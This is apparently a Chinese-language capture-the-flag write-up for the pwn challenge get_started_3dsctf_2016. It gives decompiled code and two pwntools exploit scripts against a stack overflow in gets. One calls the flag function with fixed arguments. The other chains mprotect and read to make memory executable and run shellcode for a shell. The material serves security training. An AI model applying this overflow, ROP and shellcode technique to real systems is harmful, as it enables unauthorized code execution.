本来以为是一个简单的参数修改问题,但本地通了,远程出现了问题,看了其他师傅的wp学到了新的姿势

get_started_3dsctf_2016

题目很简单,就是get函数栈溢出,有一个get_flag函数,两个参数需要是确定值,正常情况很简单,但是远程不行。然后学到了mprotect函数利用的姿势

ida伪代码

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-38h]

  printf("Qual a palavrinha magica? ", v4);
  gets(&v4);
  return 0;
}

get_flag

void __cdecl get_flag(int a1, int a2)
{
  int v2; // eax
  int v3; // esi
  unsigned __int8 v4; // al
  int v5; // ecx
  unsigned __int8 v6; // al

  if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = v2;
    v4 = getc(v2);
    if ( v4 != 0xFF )
    {
      v5 = (char)v4;
      do
      {
        putchar(v5);
        v6 = getc(v3);
        v5 = (char)v6;
      }
      while ( v6 != 255 );
    }
    fclose(v3);
  }
}

正常exp

from pwn import *
from LibcSearcher import *

context.log_level="debug"
#context (arch = "amd64",os = "linux")
#context.terminal = ['gnome-terminal','-x','bash','-c'] 

choose = 1

if choose :
    p = remote("node3.buuoj.cn",28317)
    elf= ELF("./get_started_3dsctf_2016")
    #libc  = ELF('libc-2.23.so',checksec=False)
else:
    p = process('./get_started_3dsctf_2016')
    #p = process(['./get_started_3dsctf_2016'],env={"LD_PRELOAD":"./libc-2.23.so"})
    elf= ELF("./get_started_3dsctf_2016")
    #libc  = ELF('libc-2.23.so',checksec=False)
if __name__ == "__main__":

    flag = 0x080489A0
    a1 = 0x308CD64F
    a2 = 0x195719D1
    payload = 0x38 * "a" + p32(flag) + p32(0) + p32(a1) + p32(a2)    对应参数输入
    p.sendline(payload)
    p.interactive()

远程这里看到大佬运用mprotect将可读写转为读写执行,然后用read写入shell,运行即可

mprotect函数

 函数原型:int mprotect(void *addr, size_t len, int prot);
            //addr 内存启始地址
            //len  修改内存的长度
            //prot 内存的权限
函数作用:将以addr开始的内存 到 addr+len的内存的权限给设置为 prot  (rwx)

远程exp

from pwn import *
from LibcSearcher import *

context.log_level="debug"
#context (arch = "amd64",os = "linux")
#context.terminal = ['gnome-terminal','-x','bash','-c'] 

choose = 1

if choose :
    p = remote("node3.buuoj.cn",28317)
    elf= ELF("./get_started_3dsctf_2016")
    #libc  = ELF('libc-2.23.so',checksec=False)
else:
    p = process('./get_started_3dsctf_2016')
    #p = process(['./get_started_3dsctf_2016'],env={"LD_PRELOAD":"./libc-2.23.so"})
    elf= ELF("./get_started_3dsctf_2016")
    #libc  = ELF('libc-2.23.so',checksec=False)

if __name__ == "__main__":

    mprote = elf.sym['mprotect']        #获取mprotect的地址
    read_addr = elf.sym['read']            #获取read的地址
    chan_addr_start = 0x080Ea000        #通过查看动态 cat proc/(pid)/maps 获取可写可执行区域
    pop = 0x0804f460                    #ROPgadget 得到pop三个寄存器的加ret的指令地址
    len_addr = 0x1000                    #长度大于shell小于可写区域就行

    payload = 0x38*"a"  + p32(mprote) + p32(pop) + p32(chan_addr_start) + p32(len_addr) + p32(7)            #跳mprotect地址,传参,最后一个为7,看二进制位数,网上可查找,这里不做细致说明
    payload += p32(read_addr) + p32(pop) + p32(0) + p32(chan_addr_start) + p32(len_addr) + p32(chan_addr_start)     #read传参,同时之前写入的地址做返回地址        
    p.sendline(payload)

    payload2 = asm(shellcraft.sh(),arch = 'i386', os = 'linux')    #直接生成shell去冲
    p.sendline(payload2)

    p.interactive()

对内核进程查看的一个知识点有了学习,也学到了新的函数,但是留了一个小问题,chan_addr_start的地址我开始直接插的ida,给的地址是0x080ea0e7,但是用那个地址就失败了,后来尝试0x080ea001也不行,必须是最初基地址,这里还不太懂,等到时候问一下大佬解惑

大佬地址:https://www.freebuf.com/articles/network/236000.html


一个好奇的人